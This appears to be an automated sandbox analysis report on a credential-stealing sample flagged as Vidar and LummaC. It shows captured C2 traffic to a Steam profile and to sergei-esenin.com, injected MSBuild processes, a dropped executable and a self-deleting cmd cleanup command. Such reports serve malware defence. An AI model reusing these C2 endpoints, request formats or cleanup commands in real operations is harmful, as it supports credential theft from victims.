2024-10-06 20:33:25 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-06 20:33:25 UTC	1870	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Sun, 06 Oct 2024 20:33:25 GMT Content-Length: 34837 Connection: close Set-Cookie: sessionid=db7ab356657cb7a2438a2f49; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cd7fb65801182a5f50a3169fe2a0b7ef0; Path=/; Secure; HttpOnly; SameSite=None
2024-10-06 20:33:25 UTC	14514	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-06 20:33:26 UTC	16384	IN	Data Raw: 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0d 0a 09 09 6a 51 75 65 72 79 28 66 75 6e 63 74 69 6f 6e 28 24 29 20 7b 0d 0a 09 09 09 24 28 27 23 67 6c 6f 62 61 6c 5f 68 65 61 64 65 72 20 2e 73 75 70 65 72 6e 61 76 27 29 2e 76 5f 74 6f 6f 6c 74 69 70 28 7b 27 6c 6f 63 61 74 69 6f 6e 27 3a 27 62 6f 74 74 6f 6d 27 2c 20 27 64 65 73 74 72 6f 79 57 68 65 6e 44 6f 6e 65 27 3a 20 66 61 6c 73 65 2c 20 27 74 6f 6f 6c 74 69 70 43 6c 61 73 73 27 3a 20 27 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 65 6e 74 27 2c 20 27 6f 66 66 73 65 74 59 27 3a 2d 36 2c 20 27 6f 66 66 73 65 74 58 27 3a 20 31 2c 20 27 68 6f 72 69 7a 6f 6e 74 61 6c 53 6e 61 70 27 3a 20 34 2c 20 27 74 6f 6f 6c 74 69 70 50 61 72 65 6e 74 27 3a 20 27 23 67 6c 6f Data Ascii: <script type="text/javascript">jQuery(function($) {$('#global_header .supernav').v_tooltip({'location':'bottom', 'destroyWhenDone': false, 'tooltipClass': 'supernav_content', 'offsetY':-6, 'offsetX': 1, 'horizontalSnap': 4, 'tooltipParent': '#glo
2024-10-06 20:33:26 UTC	3768	IN	Data Raw: 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 73 75 6d 6d 61 72 79 5f 66 6f 6f 74 65 72 22 3e 0d 0a 09 09 09 09 09 09 09 3c 73 70 61 6e 20 64 61 74 61 2d 70 61 6e 65 6c 3d 22 7b 26 71 75 6f 74 3b 66 6f 63 75 73 61 62 6c 65 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 63 6c 69 63 6b 4f 6e 41 63 74 69 76 61 74 65 26 71 75 6f 74 3b 3a 74 72 75 65 7d 22 20 63 6c 61 73 73 3d 22 77 68 69 74 65 4c 69 6e 6b 22 20 63 6c 61 73 73 3d 22 77 68 69 74 65 4c 69 6e 6b 22 3e 56 69 65 77 20 6d 6f 72 65 20 69 6e 66 6f 3c 2f 73 70 61 6e 3e 0d 0a 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 20 24 4a 28 20 66 75 6e 63 74 69 6f 6e 28 29 Data Ascii: <div class="profile_summary_footer"><span data-panel="{"focusable":true,"clickOnActivate":true}" class="whiteLink" class="whiteLink">View more info</span></div><script type="text/javascript"> $J( function()
2024-10-06 20:33:26 UTC	171	IN	Data Raw: 09 3c 73 70 61 6e 3e 56 69 65 77 20 6d 6f 62 69 6c 65 20 77 65 62 73 69 74 65 3c 2f 73 70 61 6e 3e 0d 0a 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 0d 0a 09 3c 2f 64 69 76 3e 09 3c 21 2d 2d 20 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 63 6f 6e 74 65 6e 74 20 2d 2d 3e 0d 0a 0d 0a 3c 2f 64 69 76 3e 09 3c 21 2d 2d 20 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 66 72 61 6d 65 20 2d 2d 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <span>View mobile website</span></div></div></div></div>... responsive_page_content --></div>... responsive_page_frame --></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49860	172.67.206.204	443	7920	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 20:33:26 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: sergei-esenin.com
2024-10-06 20:33:26 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-06 20:33:26 UTC	801	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 20:33:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=db4lgbl1hfqt5mr2tiuaut7cpr; expires=Thu, 30 Jan 2025 14:20:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TcbawkhHh8ECIbquG006majPadfwnrdIzDh2Y938bjtukAlN1I%2FErfAKIpsYQtXMnqCpI0bI%2Fmp%2FWdm0xyrX0qiaYbE5ThbCFQomRx6%2BMRKZCadAIlQiIm3yf2Qy1JD%2FDYyVog%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ce86d2d5ffc1977-EWR
2024-10-06 20:33:26 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-10-06 20:33:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	16:32:15
Start date:	06/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xad0000
File size:	594'296 bytes
MD5 hash:	D2A66A09EC4C30B500B8A250ECAC14EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	16:32:15
Start date:	06/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0x890000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: HiddenCobra_BANKSHOT_Gen, Description: Detects Hidden Cobra BANKSHOT trojan, Source: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	16:33:23
Start date:	06/10/2024
Path:	C:\ProgramData\KJEHJKJEBG.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\KJEHJKJEBG.exe"
Imagebase:	0xba0000
File size:	561'016 bytes
MD5 hash:	20732FDC3A5DBA86CBA29107799C65C9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 00000005.00000002.2419628160.0000000000BCC000.00000004.00000001.01000000.00000009.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	16:33:23
Start date:	06/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0x620000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 00000006.00000002.2443146862.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	16:33:57
Start date:	06/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\IIEBAFCBKFID" & exit
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	16:33:57
Start date:	06/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	16:33:57
Start date:	06/10/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout /t 10
Imagebase:	0xc50000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	1.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	6.3%
Total number of Nodes:	270
Total number of Limit Nodes:	5

Executed Functions

Function 00AD1FE0 Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 433
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(00B5CCE0,000004E4,00000040,?), ref: 00AD2497

Strings

V, xrefs: 00AD2408

Memory Dump Source

Source File: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID: V
API String ID: 544645111-1342839628
Opcode ID: dd47abd375d9f33815e4ce79448e7b8205a1fb776faf27ff0b9c070c215201cf
Instruction ID: 4986660828517d0793920300598617df8f06e38b9ed64d030fef83ab07d42caf
Opcode Fuzzy Hash: dd47abd375d9f33815e4ce79448e7b8205a1fb776faf27ff0b9c070c215201cf
Instruction Fuzzy Hash: 1FA1C927630E1F06D30CA13589523E6B14AEBBA731F854337BE679B7E4D26A4942D380

Function 00AEA39E Relevance: .0, Instructions: 22
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0ce309dae35eeb64f75d2208773cf58d8f35ba8da59f9c1b76811168d481250
Instruction ID: 179b94c02aed9c39647c2ecd8743da1c23db09ee5f3b9d2fb8c3220b269676ca
Opcode Fuzzy Hash: f0ce309dae35eeb64f75d2208773cf58d8f35ba8da59f9c1b76811168d481250
Instruction Fuzzy Hash: ADE08C32D11268EBCB14DB9ADA4498AF3ECEB45B04B11009AF501D3100C270EE00D7E0

Function 00AE0C7E Relevance: .0, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26b61e700e3e5bce12354a0b1fde2f27a5d579f549683416bfe0bcbdbbb751ec
Instruction ID: be31ab67d2c0fc697e9256228946e5a08d1a02c49b59ea4015d63ad6361edd95
Opcode Fuzzy Hash: 26b61e700e3e5bce12354a0b1fde2f27a5d579f549683416bfe0bcbdbbb751ec
Instruction Fuzzy Hash: EEC08C38040E8087CE2B8E118275BA83354A3E1786FE0098CC4524BA42C56EACC2D601

Function 00AE5C98 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,F8250000,?,B0CFECEF,?,00AE5DA5,00ADC196,?,F8250000,00000000), ref: 00AE5D59

Strings

api-ms-, xrefs: 00AE5CEF
ext-ms-, xrefs: 00AE5D03

Memory Dump Source

Source File: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 6bab8b35605576255f73e5992af24cda45b88e82e4c901aceed298bf17a22a51
Instruction ID: 7ebbdf0eb8fe03a3bdb864dca18b1654a6dc0812de811d2c26b9e08583adf004
Opcode Fuzzy Hash: 6bab8b35605576255f73e5992af24cda45b88e82e4c901aceed298bf17a22a51
Instruction Fuzzy Hash: 8021EE32D01B55B7CB21D7B6FC89B6A3764DB42768F240150F916EB290DB30DD01C6E0

Function 00AE8B7C Relevance: 4.7, APIs: 3, Instructions: 202
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__freea.LIBCMT ref: 00AE8D2B

Part of subcall function 00AE37D3: HeapAlloc.KERNEL32(00000000,00AE9EFA,?,?,00AE9EFA,00000220,?,?,?), ref: 00AE3805

__freea.LIBCMT ref: 00AE8D40
__freea.LIBCMT ref: 00AE8D50

Memory Dump Source

Source File: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID: __freea$AllocHeap
String ID:
API String ID: 85559729-0
Opcode ID: 4d0d12e613c4d87188d2e8dfee8f096bdff030ee77a86c3c972dbc5050f10dea
Instruction ID: 32d7ab75f3e058e941aef7912bd5e7b5db517a3b16a849ebecc58c6551ca65e1
Opcode Fuzzy Hash: 4d0d12e613c4d87188d2e8dfee8f096bdff030ee77a86c3c972dbc5050f10dea
Instruction Fuzzy Hash: 8651E6B2601296AFEF219F66CD81EBB36A9EF54750B250529FD08D7250EF39CC1087A0

Function 00AE0C0A Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00AE0D60,?,00AE0C04,00000000,?,?,00AE0D60,B0CFECEF,?,00AE0D60), ref: 00AE0C1B
TerminateProcess.KERNEL32(00000000,?,00AE0C04,00000000,?,?,00AE0D60,B0CFECEF,?,00AE0D60), ref: 00AE0C22
ExitProcess.KERNEL32 ref: 00AE0C34

Memory Dump Source

Source File: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 4555345d66878127a5d8864f3c92b0e669ffc87ab3277d4ad16f6a27a312b705
Instruction ID: ea9a6aa4cf955b03e5b9facb84144239a07baa3b83ec5cb3e018cdf3b55363f8
Opcode Fuzzy Hash: 4555345d66878127a5d8864f3c92b0e669ffc87ab3277d4ad16f6a27a312b705
Instruction Fuzzy Hash: B4D06732000148AFCB117FE2DD09E593F36AA84381B644110B90945021DF719D96DB94

Function 00AEA0F8 Relevance: 3.2, APIs: 2, Instructions: 177
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00AE9C26: GetOEMCP.KERNEL32(00000000,?,?,?,?), ref: 00AE9C51

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,?,?,?,?,00AE9F3D,?,00000000,?,?,?), ref: 00AEA159
GetCPInfo.KERNEL32(00000000,?,?,?,?,?,?,?,?,00AE9F3D,?,00000000,?,?,?), ref: 00AEA19B

Memory Dump Source

Source File: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: c562de48429ba658e1b88eba2003a203cdae9458695fba8bd4f307645117ef66
Instruction ID: f48e6e4722d09175f81b8dfb4d947a951af3aaf7277814e4c8e344f6af88b6c9
Opcode Fuzzy Hash: c562de48429ba658e1b88eba2003a203cdae9458695fba8bd4f307645117ef66
Instruction Fuzzy Hash: A0514571A003C59EDB21DFB7C8806EBBBF4EF61300F14816ED1929B261E775A945CB52

Function 00AE60B6 Relevance: 3.0, APIs: 2, Instructions: 34
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LCMapStringEx.KERNELBASE(?,00AE8C6A,?,?,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 00AE60EA
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,00AE8C6A,?,?,00000000,?,00000000), ref: 00AE6108

Memory Dump Source

Source File: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID: String
String ID:
API String ID: 2568140703-0
Opcode ID: 4755966ef28b0de07db0e2b2d2af0a4034a02a5fd91401ed849759bfa3595149
Instruction ID: 95f7d6732839c18e038cbe3f4fb04c98d40bfaa3d5337510e41cfe00c35a7ac3
Opcode Fuzzy Hash: 4755966ef28b0de07db0e2b2d2af0a4034a02a5fd91401ed849759bfa3595149
Instruction Fuzzy Hash: D9F0683240025ABBCF129F91ED05ADE3E26AF587A0F058510BA1865021CB32C972EB90

Function 00AE9CFA Relevance: 1.6, APIs: 1, Instructions: 147
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCPInfo.KERNEL32(E8458D00,?,00AE9F49,00AE9F3D,00000000), ref: 00AE9D2C

Memory Dump Source

Source File: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID: Info
String ID:
API String ID: 1807457897-0
Opcode ID: a4003387ddee5f4c650e2a70101f4b1c021dcdc65ba27cc919bf51950d0eeebb
Instruction ID: 8b77db3ce974249febbe830b71871f17b65e8b229f223e7e899e62c75c74f132
Opcode Fuzzy Hash: a4003387ddee5f4c650e2a70101f4b1c021dcdc65ba27cc919bf51950d0eeebb
Instruction Fuzzy Hash: E25127719083989ADB21CB2ACD80BF77BBCEB55304F2405E9E59AC7182D2759D46DB20

Function 00AE5D63 Relevance: 1.6, APIs: 1, Instructions: 57
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

